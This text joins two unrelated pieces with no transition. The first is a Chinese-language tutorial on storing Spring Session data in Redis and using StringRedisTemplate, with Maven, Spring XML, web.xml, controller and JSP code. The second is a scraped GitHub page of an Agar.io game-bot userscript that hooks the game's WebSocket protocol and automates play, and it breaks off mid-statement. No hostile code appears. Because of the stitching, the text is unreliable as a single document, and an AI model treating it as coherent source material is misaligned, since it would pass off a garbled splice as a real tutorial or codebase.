<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <version>${slf4j.version}</version> </dependency> <!-- spring conf start --> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> <exclusions> <exclusion> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-orm</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jms</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.session</groupId> <artifactId>spring-session</artifactId> <version>${spring.session.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>${spring.version}</version> </dependency> <!-- spring conf end --> </dependencies> redis-config.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:jee="http://www.springframework.org/schema/jee" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <context:property-placeholder location="classpath:/spring/redis.properties" /> <context:component-scan base-package="org.sky.redis"> </context:component-scan> <bean id="jedisConnectionFactory" class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory"> <property name="hostName" value="${redis.host.ip}" /> <property name="port" value="${redis.host.port}" /> <property name="poolConfig" ref="jedisPoolConfig" /> </bean> <bean id="jedisPoolConfig" class="redis.clients.jedis.JedisPoolConfig"> <property name="maxTotal" value="${redis.maxTotal}" /> <property name="maxIdle" value="${redis.maxIdle}" /> <property name="maxWaitMillis" value="${redis.maxWait}" /> <property name="testOnBorrow" value="${redis.testOnBorrow}" /> <property name="testOnReturn" value="${redis.testOnReturn}" /> </bean> <bean id="redisTemplate" class="org.springframework.data.redis.core.StringRedisTemplate"> <property name="connectionFactory" ref="jedisConnectionFactory" /> </bean> <!--将session放入redis --> <bean id="redisHttpSessionConfiguration" class="org.springframework.session.data.redis.config.annotation.web.http.RedisHttpSessionConfiguration"> <property name="maxInactiveIntervalInSeconds" value="1800" /> </bean> <bean id="customExceptionHandler" class="sample.MyHandlerExceptionResolver" /> </beans> redis.properties [plain] view plain copy 在CODE上查看代码片派生到我的代码片 redis.host.ip=192.168.0.101 redis.host.port=6379 redis.maxTotal=1000 redis.maxIdle=100 redis.maxWait=2000 redis.testOnBorrow=false redis.testOnReturn=true web.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <!-- - Location of the XML file that defines the root application context - Applied by ContextLoaderListener. --> <!-- tag::context-param[] --> <context-param> <param-name>contextConfigLocation</param-name> <param-value> classpath:/spring/redis-conf.xml </param-value> </context-param> <!-- end::context-param[] --> <!-- tag::springSessionRepositoryFilter[] --> <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> <!-- end::springSessionRepositoryFilter[] --> <filter> <filter-name>encodingFilter</filter-name> <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class> <init-param> <param-name>encoding</param-name> <param-value>UTF-8</param-value> </init-param> <init-param> <param-name>forceEncoding</param-name> <param-value>true</param-value> </init-param> </filter> <filter-mapping> <filter-name>encodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <servlet> <servlet-name>dispatcher</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:/spring/spring-mvc.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>dispatcher</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- - Loads the root application context of this web app at startup. - The application context is then available via - WebApplicationContextUtils.getWebApplicationContext(servletContext). --> <!-- tag::listeners[] --> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <!-- end::listeners[] --> <servlet> <servlet-name>sessionServlet</servlet-name> <servlet-class>sample.SessionServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>sessionServlet</servlet-name> <url-pattern>/servlet/session</url-pattern> </servlet-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 这边主要是一个: [html] view plain copy 在CODE上查看代码片派生到我的代码片 <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> 这个filter一定要写在一切filter之前 SessionController [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by mk on 15/1/7. */ @Controller @EnableRedisHttpSession public class SessionController { @RequestMapping("/mySession") public String index(final Model model, final HttpServletRequest request) { if (request.getSession().getAttribute("testSession") == null) { System.out.println("session is null"); request.getSession().setAttribute("testSession", "yeah"); } else { System.out.println("not null"); } return "showSession"; } } showSession.jsp文件 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>showSession</title> </head> <body> <% String sessionValue=(String)session.getAttribute("testSession"); %> <h1>Session Value From Servlet is: <%=sessionValue%></h1> </body> </html> 测试 保证我们的redise-server是启动的,然后我们启动起这个web工程后使用: http://localhost:8080/webpoc/mySession访问一下这个controller 此时我们使用redis客户端工具连入查看spring session是否已经进入到了redis中去。 在redis客户端工具连入后我们可以在redis console中使用keys *来查看存入的key,LOOK,spring的session存入了redis中去了。 再来看我们的eclipse后台,由于我们是第一次访问这个controller,因此这个session为空,因此它显示如下: 我们在IE中再次访问该controller 由于之前的session已经存在于redis了,因此当用户在1800秒(30分钟)内再次访问controller,它会从session中获取该session的key testSession的值,因此eclipse后台打印为not null。 SpringRedisTemplate + Redis 讲过了spring session+redis我们来讲使用spring data框架提供的redisTemplate来访问redis service吧。说实话,spring这个东西真强,什么都可以集成,cassandra, jms, jdbc...jpa...bla...bla...bla...Spring集成Barack Hussein Obama? LOL :) pom.xml 不用列了,上面有了 redis-conf.xml 不用列了,上面有了 web.xml 也不用列了,上面也有了 SentinelController.java 我们就先用这个名字吧,后面我们会用它来做我们的redis sentinel(哨兵)的高可用(HA)集群测试 [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import java.util.HashMap; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; import org.springframework.data.redis.core.BoundHashOperations; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RequestMapping; import redis.clients.jedis.Jedis; import redis.clients.jedis.JedisSentinelPool; import util.CountCreater; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by xin on 15/1/7. */ @Controller public class SentinelController { @Autowired private StringRedisTemplate redisTemplate; @RequestMapping("/sentinelTest") public String sentinelTest(final Model model, final HttpServletRequest request, final String action) { return "sentinelTest"; } @ExceptionHandler(value = { java.lang.Exception.class }) @RequestMapping("/setValueToRedis") public String setValueToRedis(final Model model, final HttpServletRequest request, final String action) throws Exception { CountCreater.setCount(); String key = String.valueOf(CountCreater.getCount()); Map mapValue = new HashMap(); for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate .boundHashOps(key); boundHashOperations.putAll(mapValue); System.out.println("put key into redis"); } catch (Exception e) { e.printStackTrace(); throw new Exception(e); } return "sentinelTest"; } } 打开IE,输入:http://localhost:8080/webpoc/setValueToRedis 观察我们的后台 然后使用redis client连入后进行查看 看。。。这个值key=1的,就是我们通过spring的redisTemplate存入进去的值,即使用下面这段代码进行存入的值: [java] view plain copy 在CODE上查看代码片派生到我的代码片 for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate.boundHashOps(key); boundHashOperations.putAll(mapValue); 如何你要存入一个简单的如key=test value=hello,你可以这样使用你的redisTemplate [java] view plain copy 在CODE上查看代码片派生到我的代码片 redisTemplate.execute(new RedisCallback<Object>() { @Override public Object doInRedis(RedisConnection connection) throws DataAccessException { connection.set( redisTemplate.getStringSerializer().serialize( "test"), redisTemplate .getStringSerializer() .serialize("hello")); return null; } }); 是不是很方便的哈?结束第一天的教程,明天开始搭建redis集群。
DickDumBR1 / AimSkip to content Sign up Sign in This repository Search Explore Features Enterprise Pricing Watch 137 Star 490 Fork 1,535 Apostolique/Agar.io-bot Branch: master Agar.io-bot/launcher.user.js @ApostoliqueApostolique 10 days ago Easier to see the borders 7 contributors @Apostolique @DarkN3ss61 @Linkaan @Timtech @henopied @Gjum @lilezek RawBlameHistory 2456 lines (2277 sloc) 93.893 kB /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.123 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.123; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() {return [];}; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + 